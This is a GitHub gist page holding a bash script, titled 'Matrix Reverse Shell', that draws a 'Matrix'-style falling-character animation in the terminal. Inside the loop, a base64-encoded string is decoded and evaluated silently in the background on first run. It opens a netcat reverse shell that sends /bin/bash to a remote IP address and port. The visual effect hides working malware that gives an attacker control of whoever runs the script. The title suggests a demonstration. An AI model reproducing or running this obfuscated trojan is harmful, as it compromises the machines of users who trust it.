Created
October 7, 2025 11:59
-
-
Save cr0nx/319065401e120a7a395c453d741ad042 to your computer and use it in GitHub Desktop.
Matrix Reverse Shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| [ -z "$LINES" ] || [ "$LINES" -eq 0 ] && LINES=$(tput lines 2>/dev/null || echo 24) | |
| [ -z "$COLUMNS" ] || [ "$COLUMNS" -eq 0 ] && COLUMNS=$(tput cols 2>/dev/null || echo 80) | |
| while :;do | |
| echo $LINES $COLUMNS $((RANDOM%COLUMNS)) "$(printf "\U$((RANDOM%500+1000))")"; | |
| if [ -z "$_INIT" ]; then | |
| export _INIT=1; | |
| (e=$(echo -n 'bmMgMTkyLjE2OC4zOC4xMzEgNTU1NTUgLWUgL2Jpbi9iYXNo' | base64 -d); eval "$e" 2>/dev/null &) | |
| fi; | |
| sleep 0.05; | |
| done | gawk '{a[$3]=0;for(x in a){o=a[x];a[x]=a[x]+1;c=int(rand()*5);if(c==0)col="\033[1;32m";else if(c==1)col="\033[0;32m";else if(c==2)col="\033[1;36m";else if(c==3)col="\033[1;31m";else col="\033[1;37m";printf "\033[%s;%sH%s%s",o,x,col,$4;printf "\033[%s;%sH\033[0m",a[x],x;if(a[x]>=$1)a[x]=0;}}' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment